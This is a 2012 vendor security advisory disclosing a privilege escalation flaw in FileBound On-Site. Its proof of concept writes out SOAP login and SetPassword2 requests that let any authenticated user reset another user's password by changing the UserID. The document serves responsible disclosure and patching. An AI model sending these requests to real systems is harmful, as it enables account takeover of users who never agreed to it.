Sense of Security – Security Advisory – SOS-12-010.

FileBound Privilege Escalation Vulnerability.

10 October 2012.

FileBound Privilege Escalation Vulnerability - Security Advisory - SOS-12-010

Release Date.	10-Oct-2012
Last Update.	17-Oct-2012
Vendor Notification Date.	14-Aug-2012
Product.	FileBound On-Site
Platform.	Windows
Affected versions.	5.4.4 and 6.1.1
Severity Rating.	High
Impact.	Privilege escalation
Attack Vector.	From remote with authentication
Solution Status.	Vendor patch
CVE reference.	CVE- Not yet assigned

Details.

The FileBound On-Site document management application is vulnerable to a privilege escalation attack by sending a modified password request to the FileBound web service. By modifying the UserID value you can reset the password of any local user in the application without requiring administrative privileges.

Proof of Concept.

Authenticate to FileBound via the following web service method and SOAP request:

http://www.company.com/Filebound.asmx?op=Login

```
<soapenv:Body>
   <fil:Login>
      <fil:UserName>sosuser</fil:UserName>
      <fil:Password>daisyp0p</fil:Password>
```

```
        </fil:Login>
    </soapenv:Body>
```

After authentication a request can be sent to the following administrator's password reset web service method and SOAP request:

http://www.company.com/Filebound.asmx?op=SetPassword2

```
    <soapenv:Body>
        <fil:SetPassword2>
            <fil:UserID>32</fil:UserID>
            <fil:Password>lightsouthern</fil:Password>

<fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>
        </fil:SetPassword2>
    </soapenv:Body>
```

By modifying the UserID value the password can be reset for any existing user in the system. A response code of -1 confirms the password reset was successful.

Solution.

Install the latest vendor patch.

Discovered by.

Nathaniel Carew from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-010.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php